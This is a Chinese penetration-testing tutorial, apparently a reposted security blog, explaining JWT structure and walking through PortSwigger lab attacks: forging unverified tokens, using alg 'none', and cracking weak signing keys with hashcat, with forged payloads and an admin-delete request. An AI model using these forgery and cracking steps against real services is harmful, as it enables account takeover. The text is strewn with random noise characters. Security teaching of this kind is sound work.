干货 | JWT渗透姿势一篇通

admin

+ N. \& n$ }- m3 H Q 干货 | JWT渗透姿势一篇通 m5 c/ o1 y1 B3 h

) K' j/ Q% `9 P0 V- t* q4 R

! b6 n8 r& `0 v3 I2 D$ w1 L) m 渗透安全团队 2023-10-20 00:00 湖北 5 Z9 x2 }9 ?9 Z v) u

3 `$ ~! H$ x" l @8 A2 E3 h

. _; V( o }( i( g- |8 }8 R 文章前言

, k1 T6 y; _3 u' d# n- S$ B3 _

9 c1 v ?1 Y w7 D( r, i 由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！
7 L7 @- k8 q1 V: h+ z- I
2 l/ R; X6 s, I- q

' w/ e1 o! `7 r; B4 \

! ^2 `8 q) i. Y+ c" s

企业内部产品应用使用JWT作为用户的身份认证方式，在对应用评估时发现了新的关于JWT的会话安全带来的安全问题，后期再整理时又加入了之前遗留的部分JWT安全问题，至此汇总成一篇完整的JWT文章 6 c* L! S V* _& _& V; c5 F4 ?* M

" i$ C# T# y9 Q6 L

简单介绍 ' Q- Q+ i7 v0 ~4 G0 E, y: q

' B& g) C5 I, k JWT(JSON Web Token)是一种用于身份认证和授权的开放标准，它通过在网络应用间传递被加密的JSON数据来安全地传输信息使得身份验证和授权变得更加简单和安全，JWT对于渗透测试人员而言可能是一种非常吸引人的攻击途径，因为它们不仅是让你获得无限访问权限的关键而且还被视为隐藏了通往以下特权的途径，例如:特权升级、信息泄露、SQLi、XSS、SSRF、RCE、LFI等

3 ^' C' ], e% k 基础概念 + G8 a- Z+ W* P; Q8 F+ ?

• JWS：Signed JWT，签名过的JWT
0 z o! W8 A% J' E8 y2 r8 B
• JWK：JWT的密钥，也就是我们常说的SECRET # a; A4 A; o- c M' G8 r, @0 K
" A$ Y3 B- g% V% X% @
• JWE：Encrypted JWT部分payload经过加密的JWT
• JKU：JKU(JSON Web Key Set URL)是JWT Header中的一个字段，字段内容是一个URI，该URI用于指定用于验证令牌秘钥的服务器，该服务器用于回复JWK 7 Y. W) @& t& R! d
' C$ n6 W3 g5 H, L
• X5U：X5U是JWT Header中的一个字段，指向一组X509公共证书的URL，与JKU功能类似
- q: Y1 v( L. C$ Y$ V( s4 F: M7 r
• 6 x& V/ i) V" A8 P) r5 _ X.509标准：X.509标准是密码学里公钥证书的格式标准，包括TLS/SSL(WWW万维网安全浏览的基石)在内的众多Internet协议都应用了X.509证书）

$ T5 N. V! N" A! @7 I+ {7 A 基本结构

8 o* g6 J9 T8 y O1 Z

JWT(JSON Web Token)的结构由三部分组成，分别是Header、Payload和Signature，下面是每一部分的详细介绍和示例：

9 ^" M' | l0 v0 E

" _: Y# ]' }5 J) h Header ; h' L V! \/ J }. ^8 U

5 k6 I7 ~. z- G5 |) I Header包含了JWT使用的算法和类型等元数据信息，通常使用JSON对象表示并使用Base64编码，Header中包含两个字段：alg和typ
' \+ L- G/ Z3 k4 h" R8 o! calg(algorithm)：指定了使用的加密算法，常见的有HMAC、RSA和ECDSA等算法
, m4 `3 k. _' q, n) r/ Btyp(type)：指定了JWT的类型，通常为JWT

& G! s; B; Q9 i) W. Y

9 y) M3 T) [, q, m 下面是一个示例Header：

5 d6 H& x) \/ ~% w

$ [! {3 N8 O$ B( u R% q

{
  "alg": "HS256",
$ Q1 Y; t; `* l: O3 N9 `, i z  "typ": "JWT"
}

8 C7 G! @, m; E2 A9 |; U! W( |8 {

其中alg指定了使用HMAC-SHA256算法进行签名，typ指定了JWT的类型为JWT % K; U8 x: P" J! {

. k# p; Y3 Z! E: i Payload ) P& T1 O5 }. O

8 v; K1 j H p3 v" ], |% J

& j. P& E3 C3 F% l& G Payload包含了JWT的主要信息，通常使用JSON对象表示并使用Base64编码，Payload中包含三个类型的字段：注册声明、公共声明和私有声明 % V' w. H7 e, p& k+ d: D

_( F5 h4 G4 F
• 公共声明(Public Claims)：是自定义的字段，用于传递非敏感信息，例如:用户ID、角色等
5 [" X& v4 S% [" @6 D- M& p
• T: h# K% a% ^' h6 n1 H: h 私有声明(Private Claims)：是自定义的字段，用于传递敏感信息，例如密码、信用卡号等 6 F& I( ?3 _: ?3 S
• % `! {6 N, H$ l1 F4 _1 C3 f6 k 注册声明(Registered Claims)：预定义的标准字段，包含了一些JWT的元数据信息，例如:发行者、过期时间等 " N' I& T# \3 n4 a6 i+ M

2 c. N* v5 P5 L

9 g$ a4 \9 r! ]! v) i2 z! [# c 下面是一个示例Payload： " }! _1 c% R* Z* J) V; S8 A

) X9 r2 h: z& ^% b$ H1 q

4 m% ~5 X: M3 g4 o, f9 p A

{
( H# ~) H) ]1 ]' t  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

$ V: s3 o7 ?5 A

其中sub表示主题，name表示名称，iat表示JWT的签发时间

* x! A, X- P4 O- L

Signature

; F2 J/ K2 j. K1 i5 P; i Signature是使用指定算法对Header和Payload进行签名生成的，用于验证JWT的完整性和真实性，Signature的生成方式通常是将Header和Payload连接起来然后使用指定算法对其进行签名，最终将签名结果与Header和Payload一起组成JWT，Signature的生成和验证需要使用相同的密钥，下面是一个示例Signature : C5 M5 A T2 j: }0 l, G

! Z5 h( A/ G& \2 o HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)

其中HMACSHA256是使用HMAC SHA256算法进行签名，header和payload是经过Base64编码的Header和Payload，secret是用于签名和验证的密钥，最终将Header、Payload和Signature连接起来用句点(.)分隔就形成了一个完整的JWT，下面是一个示例JWT，其中第一部分是Header，第二部分是Payload，第三部分是Signature，注意JWT 中的每一部分都是经过Base64编码的，但并不是加密的，因此JWT中的信息是可以被解密的 9 M4 w9 B( k' H6 T9 B* Q* w# ?

) }0 n! [! c2 H$ F: U

* O. x% R: {3 P* m. }4 ~: w2 R; {8 b

, s+ ?- Y8 |7 W2 d% _ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
4 ]# Z0 j# n4 C, T% q" @eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

在线平台 + i4 j) ^* B$ c1 h; ]0 V

下面是一个JWT在线构造和解构的平台：
https://jwt.io/

; s% E6 r$ k2 C, i, q8 ?9 a% P+ R$ m7 `8 _

. ?$ e- [+ z7 k+ ]4 W/ u : j1 \( \( d+ d" r* c, N- I

工作原理

JWT工作原理

0 w3 p7 s3 R: @2 q) H! N4 ?1 p JWT的工作流程如下：

! y2 G2 H1 q i7 m2 G0 f6 W

• ( W2 v" b2 m/ v. S- o 用户在客户端登录并将登录信息发送给服务器 8 S& G" @0 V' E. ]/ L9 @* }
0 \/ T, ` M( _, x) R( ?3 ~
• 服务器使用私钥对用户信息进行加密生成JWT并将其发送给客户端 2 \( e. j4 C! k9 l6 F
' `; T7 d1 c* [
• 0 w- y7 A- [! ~/ }# B5 H 客户端将JWT存储在本地，每次向服务器发送请求时携带JWT进行认证
• 服务器使用公钥对JWT进行解密和验证，根据JWT中的信息进行身份验证和授权 * s4 }; H D, F' A7 y6 d/ W- P% `
• 0 d6 {0 N$ b4 Q: | 服务器处理请求并返回响应，客户端根据响应进行相应的操作

! A* K, u- Z3 {3 l% }% U

% q4 n5 d6 Z2 w7 M1 Q JKU工作原理

7 ]: ]: N/ x; y5 S

* z8 q' s3 y, | z$ U; u5 M5 u Step 1：用户携带JWS(带有签名的JWT)访问应用

% ]: O* f: K" X0 F+ P6 o4 p$ k$ y' S ( K8 Y: `+ u `0 e

$ d- m @* w1 W7 L! q' N

; \/ [$ `. p6 o+ u# U Step 2：应用程序解码JWS得到JKU字段 , T: ^ B }8 m+ _1 q& U7 }

4 o4 x8 U; ]7 R

Step 3：应用根据JKU访问返回JWK的服务器

8 y( l; U: ? a/ Z+ p

/ t0 P0 h( ~8 G4 b! e# _1 [7 K2 y

! r# o, o5 ?: ~& N2 i6 } Step 4：应用程序得到JWK $ O7 h! a4 y# _. a$ h/ Z

+ }! W5 m/ |: H5 H; |6 d& u

Step 5：使用JWK验证用户JWS ( v F% c7 a1 |4 n# u

8 y+ |; ]" b- g& `# z5 x

7 S( @' z; N) C) I; p$ K

& P: t" J8 J+ j5 L Step 6：验证通过则正常响应

[, s) ]: [; g7 ~: G

4 Y# z( p8 \, n# c7 v 漏洞攻防

: }. @" r$ E% @/ M" C

E% U( c2 I$ ?+ j6 Q4 o+ h 签名未校验

7 k+ [- r0 {2 }& w" _& _ 验证过程

$ u# F5 Q" T8 Z! F4 u0 T5 E& f

2 f# q8 I: N! @% c; \* A JWT(JSON Web Token)的签名验证过程主要包括以下几个步骤： 0 i( F6 I, A0 Z* j# ]

$ O ^' L# m5 n: W7 z- ?

U7 P5 {' z4 ~3 i- {) ^
• ' ]! J7 u, b% P9 L* S) y 分离解构：JWT的Header和Payload是通过句点(.)分隔的，因此需要将JWT按照句点分隔符进行分离
. h' |1 ]& M5 [, j4 v9 M' N
• / F3 }8 e9 H* n5 z! ^0 `' w- v 验证签名：通过使用指定算法对Header和Payload进行签名生成签名结果，然后将签名结果与JWT中的签名部分进行比较，如果两者相同则说明JWT的签名是有效的，否则说明JWT的签名是无效的 9 [; x$ }2 a. F3 U! X' B8 W
• # C% U" w: E. ~1 U2 ^; w 验证信息：如果JWT的签名是有效的则需要对Payload中的信息进行验证，例如:可以验证JWT中的过期时间、发行者等信息是否正确，如果验证失败则说明JWT是无效的 + E& U" w+ q- B2 D1 g! a

# f. X5 U! j7 d* m' Z 下面是一个使用JAVA进行JWT签名验证的示例代码： 0 @+ U5 V& v: ?3 @

! a$ ^' K4 G% Q import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
" a/ U( g, \; F: `$ E- i& Mimport io.jsonwebtoken.SignatureAlgorithm;

import java.util.Date;

public class JWTExample {
) s. F8 e) q7 C% f/ D" V
6 f4 e Q% P- ?2 d5 G    private static final String SECRET_KEY = "my_secret_key";

    public static void main(String[] args) {
+ A- J8 C6 U2 J' a7 W8 }. u        // 构建 JWT
! b0 k2 U) ?3 S        String jwtToken = Jwts.builder()
- q- M2 T& |9 s9 o, P# v" i. H                .setSubject("1234567890")
) }1 v: L/ x* i- a0 p5 h                .claim("name", "John Doe")
1 n' B; p0 f+ K3 j3 y                .setIssuedAt(new Date())
9 l' ~6 L/ e7 v" U J0 ~& u9 C                .setExpiration(new Date(System.currentTimeMillis() + 3600000)) // 1 hour
3 ~& S6 _+ z& i! J9 f                .signWith(SignatureAlgorithm.HS256, SECRET_KEY)
& G: W5 k$ P0 y6 c                .compact();
/ {) M; J2 m' K; u1 m1 ^5 V
        // 验证 JWT
        try {
+ V1 W- L3 g0 q0 J9 B6 M            // 分离 Header, Payload 和 Signature
5 H3 p" R R7 \& B8 v            String[] jwtParts = jwtToken.split("\\.");
: ^/ Z$ _- C6 l2 A. z! f- B            String header = jwtParts[0];
            String payload = jwtParts[1];
7 b( n0 M; o0 g4 H            String signature = jwtParts[2];
! K9 \& r, { F8 R8 f- Z! c: N+ G2 J* ~
            // 验证签名
' L! o9 d6 [- N# R2 X# ]- W; K3 n            String expectedSignature = Jwts.parser()
                    .setSigningKey(SECRET_KEY)
' g9 a4 E! a( ~                    .parseClaimsJws(jwtToken)
                    .getSignature();
4 _7 G. i5 W) c& E: {4 L% J            if (!signature.equals(expectedSignature)) {
                throw new RuntimeException("Invalid JWT signature");
            }

: ]" a7 V9 g& c( [3 D) w            // 验证 Payload 中的信息
            Claims claims = Jwts.parser()
                    .setSigningKey(SECRET_KEY)
+ h# j, I! \8 F                    .parseClaimsJws(jwtToken)
                    .getBody();
' d K: B5 x5 Y y- `& [            System.out.println("Valid JWT");
9 H& h( G8 ]" I3 M- w9 x, Y0 H1 n        } catch (Exception e) {
            System.out.println("Invalid JWT: " + e.getMessage());
' Z# }5 L( @7 ?        }
    }
} f& j% q3 H3 I. }

& b1 s8 J0 }2 u0 G3 j! _ 在上面的示例代码中使用jwt库进行JWT的签名和验证，首先构建了一个JWT，然后将其分离为Header、Payload和Signature三部分，使用parseClaimsJws函数对JWT进行解析和验证，从而获取其中的Payload中的信息并进行验证，最后如果解析和验证成功，则说明JWT是有效的，否则说明JWT是无效的，在实际应用中应该将SECRET_KEY替换为应用程序的密钥 * O7 f8 a: i* N

漏洞案例 / J O! d% \3 X* _* K. _

- j% k! @4 Z8 U$ w1 M Z JWT库会通常提供一种验证令牌的方法和一种解码令牌的方法，比如:Node.js库jsonwebtoken有verify()和decode()，有时开发人员会混淆这两种方法，只将传入的令牌传递给decode()方法，这意味着应用程序根本不验证签名，而我们下面的使用则是一个基于JWT的机制来处理会话，由于实现缺陷服务器不会验证它收到的任何JWT的签名，如果要解答实验问题，您需要修改会话令牌以访问位于/admin的管理面板然后删除用户carlos，您可以使用以下凭据登录自己的帐户:wiener:peter
靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature

4 o* [) l) l; k, i, o$ G

# `$ H. `; H* d! J" H

2 ^1 `3 ^% s. u: D4 H, v- Z# E 演示步骤：
Step 1：点击上方的"Access the Lab"访问靶场并登录账户 , a' f' z6 G0 K. W

/ d7 U# p- E& X# Q

Step 2：进入到Web界面并登录靶场账户 % r1 a9 s! s S, O5 ^# L* s, k6 y# S

% U+ B9 ~' Y) q1 U" b1 ~- @ B

' ]+ ^2 C! }( |1 v; D8 `9 Q* f wiener:peter

: z( K P. @, ]2 N9 G

& H7 f8 } W" O& b% J7 \

8 ^; y/ W* P, v: n7 j- b

2 ~3 y" S' C) z8 v% O+ @: g

! D1 D' G5 W/ f, J5 B8 t 登录之后会看到如下一个更新邮箱的界面

1 L9 b6 r- n& `

+ A, S: R+ A% g% ]

Step 3：此时在我们的burpsuite中我们可以看到如下的会话信息

此时查询当前用户可以看到会显示当前用户为wiener： 3 h9 a& u5 X! {/ d/ e

) O; Z) W" O% m 截取上面中间一部分base64编码的部分更改上面的sub为"administrator" $ v, M, B% `. S( v

1 _& }9 l' s7 L7 D S( ?( s! n7 L- q, K

6 k% K: F: _5 q0 L4 B" Q5 c

eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MDA4M30 1 b5 V& t/ R, F8 w" Y; _

- f9 g: i# ?" h- G

8 R* l: T1 e+ N* d& G. M' e9 T * V$ X' y6 V$ j& t1 }1 I, W

0 O( R( O2 Y+ c6 X  

6 ^8 `; Z: e3 N 构造一个sub为"administrator"的载荷并将其进行base64编码处理： 2 |% ^ P4 F* S& m7 n# w4 a

) c# E1 g7 E- r& G8 V

eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTAwODN9 1 Y1 I* S( E& ^' z3 M4 x/ j

, e0 M3 T+ F* {2 J: {! `( A 替换之后重新发送请求：

1 j( E9 {9 C4 R( v& [' l4 f

9 ~- y5 `* z; b1 @& W, d- D8 Z8 q

1 v% Q: \5 _( A+ A. c

5 {! W$ s, d, ^" z0 v: ~3 A 按照题目要求访问/admin路径，发现两个删除用户的调用接口： ! q* V. S9 o: ~- J% z T( ?

# h: ]6 _% r8 x( U% l( N4 u

+ C% o5 `9 r# C$ h) m( G$ V4 L; m, I2 ]

请求敏感链接——删除用户carlos

# {' V0 V: w+ I- `$ r: J+ r5 |

GET /admin/delete?username=carlos HTTP/1.1

1 k. j9 f, ?5 ^$ v; N

' T% g7 J, Z, A9 w4 u7 a. } G3 t# {

/ x5 q- h( M( l' U, n 完成靶场的解答： 2 `3 R1 z! M+ P2 k v

! F( ?6 _/ y* `9 z

( W, M- |$ ]8 \& e, Z2 _2 M5 D9 b $ `: ]( Q: B7 p0 H4 Z7 r

/ Z; G7 e% Z9 w' l$ D

' N: |) w/ ^- r9 G! h 签名用None + t& r7 S# e; ?; O! O5 K

5 o- {$ |7 u6 j: J

场景介绍 1 E2 B3 Y5 v5 o* A) z& S

0 }8 _# t! m# r3 I5 }! v

在JWT的Header中alg的值用于告诉服务器使用哪种算法对令牌进行签名，从而告诉服务器在验证签名时需要使用哪种算法，目前可以选择HS256，即HMAC和SHA256，JWT同时也支持将算法设定为"None"，如果"alg"字段设为"None"，则标识不签名，这样一来任何token都是有效的，设定该功能的最初目的是为了方便调试，但是若不在生产环境中关闭该功能，攻击者可以通过将alg字段设置为"None"来伪造他们想要的任何token，接着便可以使用伪造的token冒充任意用户登陆网站 & P9 g$ F, o" P3 z' q# g, A1 w

; Y) Z" z ^3 v+ ?6 X+ [& D {
    "alg": "none",
    "typ": "JWT"
1 | ^$ V N, B3 F6 p1 D B} & r! U2 j) d4 q4 B+ [; m

/ j+ A. K" d; v1 m3 H+ |* P0 x

* h! U6 F0 k* o7 j

漏洞案例 % M0 Y Y% j$ v4 S

4 Z. q% D+ I3 L7 @6 L& ^

" @7 k" O0 J9 L$ R! N! T* { 实验靶场：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification : t# O& E) l; O; K+ ?

) m4 ]+ _; |" b7 w Q; ], z r

1 F k% X8 G+ V: B3 r " l+ v$ g/ c6 M# f& ^9 K/ d3 L

. f+ m& |2 H9 C. ~ w

实验流程：
Step 1：点击上方的"Access the lab"访问靶场环境
https://0a9c00a8030ba77784d7b92d ... curity-academy.net/

' H4 u+ `: d, n3 E8 c% M Step 2：使用账户密码进行登录

7 R* s/ [8 b- w4 k

}# J* z) T7 q6 v

6 ~, g$ R. _. k$ D. e% O wiener:peter

- r8 ]+ \3 w3 `% L! N$ L" h. @

; v" j# N( e" [' S+ f3 s# H

g5 j+ t8 I( A5 `- y

Step 3：登录之后可以看到如下界面

' y1 D% L" B) {& ]

2 q) s# {/ b! {& P/ e/ ]6 {+ G . ~( e- J0 x7 e

Step 4：捕获到的数据报信息如下所示

# e" ~, P5 R6 u( a# Q; a3 P3 r

- n2 L; Z9 a+ Y3 c; m$ k, F- ?, D $ O7 ]3 m* N0 D) Z7 e

. T6 S* S. p3 {: n/ O 截取JWT的第二部分对其进行base64解码: 7 A4 j2 R# n- t8 l9 `

eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MzQ5M30 9 B4 w2 l0 ^( c* j `

% e# f2 J1 Y0 h

# }3 X3 J) C( }& \+ x

! O2 ^0 O/ P$ G, o1 S8 q, `* D' }

0 Z7 I2 Q; ] i* n. y

$ I6 J% ^0 ^: P; @9 G n8 |) \# n" U; {% e 将上述的sub字段值更改为"administrator"

2 p- ^+ O& T. z( n }; {2 N) s

eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTM0OTN9 " [- `* {' s& G; ?" ^- J

. q+ Y6 S& w1 v, D

" z# [% K! I) B

, z; O- f* a9 `2 x- Y

6 ^. { \- y9 A. _/ t Step 4：在使用wiener用户的凭据访问/admin是会提示401 Unauthorized & g" s" C9 }0 T& B9 g

i$ a4 m- H% r& t3 \ Step 5：将第一步分的alg参数改为none

) S% k8 m7 o7 y7 ^

9 }4 n) [% Y7 Z( H* C1 J' e eyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJSUzI1NiJ9 , e4 H( U0 F4 S$ T6 L

0 ]/ Q) J4 j; A& {- a8 G

/ g: M/ B- N3 ~+ f2 R

) J& s: V* F8 m5 Z7 y# r8 [ 更改之后的header部分：

2 t' H9 q, ?3 L; E eyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJub25lIn0=

" ]; i: ^, c. K% b

+ G! ^" j" N/ z/ N+ I; k0 d6 R

替换JWT Token中的第二部分为之前我们构造的信息，同时移除签名部分，再次请求数据获取到敏感数据链接 W- X# u5 v4 b. J# {9 }

, j) S$ ^3 f4 _1 z( \9 n

. u$ J6 a" S& T! @9 c, Z( c2 T

- F( k2 I: v% f9 D0 m/ z 调用敏感链接移除用户信息，完成解题操作：

& Y' S$ _) D2 c5 C" D* N . h" M H: a% S8 f

8 V/ N; r6 h/ F3 h2 o4 m

' C; G+ c/ q' Y5 R0 u N5 k " g0 v( A- L4 m) _# G" j t! P

密钥暴力猜解

% W8 g1 }" }% S6 h. o8 ^ 密钥介绍

, f6 M+ t8 Z( }5 A6 o 在JT中密钥用于生成和验证签名，因此密钥的安全性对JWT的安全性至关重要，一般来说JWT有以下两种类型的密钥： 7 Q0 ^* H. T% @5 _; ^

% C9 m3 F1 n$ f3 ]8 {, e$ a
• ! w, t7 b, m' x. Z 对称密钥：对称密钥是一种使用相同的密钥进行加密和解密的加密算法，在JWT中使用对称密钥来生成和验证签名，因此密钥必须保密，只有发送方和接收方知道，由于对称密钥的安全性取决于密钥的保密性，因此需要采取一些措施来保护它 , o1 q1 _: d; `5 N) b
: d" c- Q" m$ U; Q# a
• # @1 |3 e8 A6 j( |& l" Z; S 非对称密钥：非对称密钥使用公钥和私钥来加密和解密数据，在JWT中使用私钥生成签名，而使用公钥验证签名，由于公钥可以公开，因此非对称密钥通常用于验证方的身份 3 p9 j! \! W W0 _) g

0 i8 n7 m2 r2 i6 A* t* w 下面是一个使用JWT和对称密钥的JAVA示例代码： : E3 U3 P8 H5 s0 F

. ]" L7 A* g! @& v& e

import io.jsonwebtoken.Jwts;
J3 _6 O' r, r2 x9 t7 m& f% pimport io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;

public class JWTExample {
- D( `- G$ m. b3 p' N) I    private static final String SECRET_KEY = "mysecretkey"; // 设置密钥
2 O# l8 X4 L8 R/ D# k% J
    public static void main(String[] args) {
2 a: z% ^) e& i3 Q) J" u! g        String token = createJWT("123456"); // 生成JWT
        System.out.println(token);
        String result = parseJWT(token); // 验证JWT
, I/ m% l0 S. M0 |        System.out.println(result);
    }
' |7 C) C& u `
3 h( p6 t3 \7 l9 s# S    public static String createJWT(String id) {
        // 设置JWT过期时间为1小时
9 V9 U6 R. @) z5 l# \+ T1 s, R" o        long nowMillis = System.currentTimeMillis();
        Date now = new Date(nowMillis);
        long expMillis = nowMillis + 3600000; // 1小时
& _* |. @- ^1 h* |        Date exp = new Date(expMillis);

        // 生成JWT
! l( r9 Z3 p: p2 q+ K# A v        String token = Jwts.builder()
' S) A% p9 |/ @, N( U            .setId(id)
* D8 r/ ^$ S+ F! z9 k            .setIssuer("issuer")
            .setSubject("subject")
            .setIssuedAt(now)
& Y$ {1 E0 _4 u+ |* p. K            .setExpiration(exp)
8 V( I0 O$ @, e6 ?% [& ^            .signWith(SignatureAlgorithm.HS256, SECRET_KEY)
2 o1 h1 k2 j" {4 B# z6 ~            .compact();
0 o5 X7 B/ a B/ J        return token;
    }

) r+ X7 T2 N: ^' S; q# [- Y, |    public static String parseJWT(String token) {
        // 验证JWT是否合法
4 G4 [* l0 i9 U9 a/ K9 x' ]: c, l        String result = "";
        try {
            result = Jwts.parser()
/ `' V$ ~8 F1 p% R                .setSigningKey(SECRET_KEY)
                .parseClaimsJws(token)
                .getBody()
, y! _- v4 b( v; k7 C; n                .getId();
: y. S6 U2 C! q6 d7 U        } catch (Exception e) {
            e.printStackTrace();
        }
        return result;
! K7 ~/ ^- i$ J; n4 s( V    }
} $ H* C T, L7 c0 V

% x$ p" N4 M# O. ?

下面是一个使用JWT和非对称密钥的Java示例代码，代码中使用了RSA算法生成非对称密钥对： 2 v/ q! K5 b- A% L9 d4 x7 g1 \: G

* h* @' H+ h& r( W8 n1 I

import io.jsonwebtoken.Claims;
7 O0 V* H9 f$ L+ }import io.jsonwebtoken.Jwts;
) a+ p3 t, z- a1 L ]" a# Timport io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.security.Keys;
import java.security.KeyPair;
! L8 G) x1 `* E/ }import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.PublicKey;
3 `; K$ G+ c, C, e- Q5 h/ ^import java.util.Date;

& f& m# y7 @3 i* `* G' l6 r0 Npublic class JWTExample {
    private static final String ISSUER = "example.com";
$ {/ G' d" `3 _: s" m    private static final String SUBJECT = "user@example.com";

    public static void main(String[] args) throws Exception {
        KeyPair keyPair = generateKeyPair();
7 U1 ?6 K7 m T
        String token = createJWT(ISSUER, SUBJECT, keyPair.getPrivate());
5 s0 M5 U- U/ q+ U2 e1 H8 a        System.out.println(token);
3 A/ U. | e; a
        Claims claims = parseJWT(token, keyPair.getPublic());
        System.out.println(claims.getIssuer());
        System.out.println(claims.getSubject());
1 d; M% y7 C3 S3 i$ M7 I    }
. ]8 ?* ~/ y Y/ X0 R
    public static String createJWT(String issuer, String subject, PrivateKey privateKey) {
3 H& s" z9 f2 t9 E        Date now = new Date();
        Date expiration = new Date(now.getTime() + 3600 * 1000); // 1 hour

        return Jwts.builder()
) e0 k( M l; }! X ^- O6 E6 e            .setIssuer(issuer)
            .setSubject(subject)
) G9 S# @4 s9 M" r2 {; y' |            .setIssuedAt(now)
# [, `- [5 a% [            .setExpiration(expiration)
3 H3 H* E6 o6 T4 V2 n% y            .signWith(privateKey, SignatureAlgorithm.RS256)
5 |* k* ?+ |. h# c# Z            .compact();
    }
/ b1 ? ~) z; Y1 N! \4 c# ?8 z
    public static Claims parseJWT(String token, PublicKey publicKey) {
% Q& l3 Q8 I1 g7 ^& c- E; f8 z        return Jwts.parserBuilder()
            .setSigningKey(publicKey)
            .build()
            .parseClaimsJws(token)
$ a# Z8 B1 W- a            .getBody();
    }
1 ?! _4 V9 {9 n& [
/ E5 f( K) p0 s    public static KeyPair generateKeyPair() throws NoSuchAlgorithmException {
) [( Y- d2 f) c9 s4 m; m( K        KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
3 {/ f( {' d6 f1 L% @' ?        generator.initialize(2048);
        return generator.generateKeyPair();
& w& R; `6 ` w8 [; ]    }
% z& q9 m* S7 {" J3 o4 [4 Y} 4 O3 i: S% }9 S( r a

; |1 O" j* L. X0 G1 L! n

在这个示例中我们使用了Java中的KeyPairGenerator类来生成一个2048位的RSA密钥对，然后使用私钥生成JWT，使用公钥验证JWT，在创建JWT时我们设置了JWT的颁发者、主题、签发时间和过期时间并使用signWith()方法和SignatureAlgorithm.RS256算法使用私钥进行签名，在验证JWT时我们使用公钥来解析JWT并获取声明的内容，在实际的研发编码中我们一方面要妥善保管密钥，另一方面需要使用较为复杂难以被猜解的密钥作为密钥首选，例如：随机字母+数字的32位长度组合

$ |4 }3 B$ q5 a. M; T

漏洞案例 3 x& k; S* R) J; R! e6 _) O

- ]( S- G$ I' ?

在实现JWT应用程序时，开发人员有时会犯一些错误，比如：忘记更改默认密码或占位符密码，他们甚至可能复制并粘贴他们在网上找到的代码片段然后忘记更改作为示例提供的硬编码秘密，在这种情况下攻击者使用众所周知的秘密的单词列表来暴力破解服务器的秘密是很容易的，下面是一个公开已知密钥列表：
https://github.com/wallarm/jwt-s ... er/jwt.secrets.list " ^7 c; f, ?# o& u/ d0 Y8 v! j

0 N$ |# y: G) t# N; L1 _

/ ]5 A7 U7 n. Z8 y/ l9 k+ R6 o4 ? , S& ?+ [3 E9 f) l# W5 @

, y, M h% `* |/ E0 l6 b. q9 k

" ]9 ], L" i. `* ~$ q, w) W 在这里我们也建议使用hashcat来强力破解密钥，您可以手动安装hashcat，也可以在Kali Linux上使用预先安装好的hashcat，您只需要一个来自目标服务器的有效的、签名的JWT和一个众所周知的秘密的单词表然后就可以运行以下命令，将JWT和单词列表作为参数传入:

hashcat -a 0 -m 16500 <jwt> <wordlist>

0 T# L! Y& m4 l- G: B( }! \

Hashcat会使用单词列表中的每个密钥对来自JWT的报头和有效载荷进行签名，然后将结果签名与来自服务器的原始签名进行比较，如果有任何签名匹配，hashcat将按照以下格式输出识别出的秘密以及其他各种详细信息，由于hashcat在本地机器上运行不依赖于向服务器发送请求，所以这个过程非常快，即使使用一个巨大的单词表一旦您确定了密钥，您就可以使用它为任何JWT报头和有效载荷生成有效的签名 , d$ y2 ~: f) u- Z& s; I* Z0 n

8 a5 R% a$ J' z2 y. H8 E

# U5 L6 J2 k4 t D

<jwt>:<identified-secret> 4 P, x& D6 I- L7 I3 H

n& v4 N# P! F

" q Q- {0 |7 y0 i* Q9 X) Q 靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key 3 ^0 J V0 ~) h$ T+ O

' |% a7 b+ J, D( h4 b$ C: Q+ k; S! K 6 d' }9 B2 A1 I. ]9 D

: O% S) R$ T- ?" g7 u% V

K8 n) F# Z u# l 实验步骤：
Step 1：点击上述"Access the lab"进入到靶场环境

Step 2：使用以下账户进行登录操作

. V" k" u \& u' m) G

, _0 U$ F0 K" v' c+ T8 ?! r( S

wiener:peter

) |, E0 k/ t3 y6 U1 L0 f% I' ]

4 v0 k ? Z. u

Step 3：捕获到如下有效的JWT凭据信息

, A/ u, l. t/ r, A; D" Z* Z, B( _; ^ ]

/ B, g$ c% G3 U! P6 n1 i0 ^

eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw

- o X2 c' X8 d e$ ]

4 ]8 g% s: m3 E- J

' p1 \1 u- v4 z3 z+ n

0 e8 [4 `0 f. W; ~6 J

' L) s. D& T p- S6 D; J4 J

